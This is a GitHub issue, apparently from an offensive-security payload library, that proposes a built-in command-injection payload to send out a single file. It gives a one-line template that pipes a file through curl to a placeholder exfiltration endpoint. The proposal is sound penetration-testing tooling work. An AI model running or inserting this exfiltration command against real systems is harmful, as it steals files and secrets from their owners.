Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add a cmd/curl/exfil payload which exfils a single file using curl #116

Open
postmodern opened this issue May 8, 2024 · 0 comments
Open
Labels
builtin-payloads Builtin Payloads discussion Topic is open to discussion feature New Feature future Future idea
Milestone

Comments

@postmodern
Copy link
Member

postmodern commented May 8, 2024

It would be useful to have a simple command injection payload which exfiltrates a single file using curl back to a web server we control and/or start in the payload.

cat #{file} | curl --data-binary @- #{exfil_endpoint}

We could use ronin-web-server for the webserver, or possibly write our own super simple HTTP/1.1 parser.

@postmodern postmodern added feature New Feature future Future idea builtin-payloads Builtin Payloads discussion Topic is open to discussion labels May 8, 2024
@postmodern postmodern changed the title Add a cmd/ payload which exfils a single file using curl Add a cmd/curl_exfil payload which exfils a single file using curl Jun 30, 2024
@postmodern postmodern changed the title Add a cmd/curl_exfil payload which exfils a single file using curl Add a cmd/curl/exfil payload which exfils a single file using curl Jun 30, 2024
@postmodern postmodern added this to the 0.3.0 milestone Jun 30, 2024
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
builtin-payloads Builtin Payloads discussion Topic is open to discussion feature New Feature future Future idea
Projects
None yet
Development

No branches or pull requests

1 participant